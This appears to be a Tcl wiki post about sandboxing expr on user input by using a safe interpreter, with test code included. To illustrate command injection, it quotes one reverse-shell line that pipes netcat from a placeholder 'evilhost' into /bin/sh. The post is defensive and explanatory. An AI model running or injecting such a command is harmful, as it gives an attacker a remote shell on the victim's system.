aspect: Sometimes it seems like it would be useful to expr arbitrary user input, along the lines of:
while {[gets stdin ex]} {
puts [expr $ex]
}.. this is great until the user enters some arbitrary command using [ characters:
[exec nc evilhost evilport | /bin/sh]
To get around this we can use a safe interpreter easily enough. There are a few little things we'd like to do to make the environment more useful, like importing constants from ::math::constants .. further improvements are welcome!
namespace eval expr {
variable slave
proc init {} {
variable slave
set slave [interp create -safe]
$slave alias expr expr
package require math::constants
foreach name [info vars ::math::constants::*] {
set val [set $name]
set name [namespace tail $name]
if {$name == "constants"} continue
$slave eval set $name $val
}
}
init
proc expr {arg} {
variable slave
$slave eval expr $arg
}
}
proc test {} {
puts [::expr::expr 2+2]
puts [::expr::expr atan(100)]
puts [::expr::expr pow(\$e,2)]
puts [::expr::expr {[open foo]}] ;# this should error!
}
proc loop {} {
while {[gets stdin ex]} {
puts [::expr::expr $ex]
}
}Some things that would be nice to add: